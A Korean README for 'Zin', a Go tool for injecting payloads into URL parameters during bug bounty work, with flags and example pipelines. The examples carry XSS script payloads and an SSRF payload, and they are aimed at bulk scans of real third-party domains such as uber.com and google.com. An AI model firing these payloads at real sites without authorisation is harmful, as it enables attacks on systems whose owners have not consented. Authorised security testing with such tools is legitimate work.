버전 1.0

😎 Zin 😎

버그바운티를 위한 페이로드 인젝터, Go로 작성됨

기능

• 모든 파라미터에 여러 페이로드 주입
• 모든 파라미터에 단일 페이로드 주입
• 응답을 출력 폴더에 저장
• 상태 코드 및 응답 길이 표시
• 응답에서 패턴 검색 가능
• 매우 빠름
• 설정이 간편함

설치

$ go get -u github.com/ethicalhackingplayground/Zin

새로운 기능

-✅ 응답에서 패턴 매칭

-✅ 상태 코드 매칭

인자

      _
     (_)
  _____ _ __
 |_  / | '_ \
  / /| | | | |
 /___|_|_| |_|


바운티가 오기를


  -c int
        동시성 (기본값: 20)
  -g string
        응답에서 일치 항목 검색
  -p string
        사용할 페이로드
  -pL string
        사용할 페이로드 목록
  -s int
        상태 코드로 필터링 (기본값: 200)
        

SSRF 예제

$ subfinder uber.com | gau | grep "=http" | Zin -c 80 -p http://10.82.214.84:31386/foobar.js -g "SUP3R_S3cret_1337_K3y"

XSS 예제

$ subfinder uber.com | gau| Zin -c 80 -p '"><script>alert(matchforthis)script>' -g "matchforthis"

여러 페이로드 주입

$ cat hosts | gau | grep "&" | Zin -c 80 -pL <payloadfile>

서브도메인 스캐닝

$ subfinder -dL domains --silent | gau | Zin -c 80 -p <payload>

파라미터만 테스트

$ echo "google.com" | gau | grep "&" | Zin -c 80 -p '"><script>alert(matchthis)</script<"' -g "matchthis"

여러 호스트

$ cat hosts | gau | Zin -c 80 -p <payload>

바운티를 받으셨다면 커피 한 잔으로 지원해주세요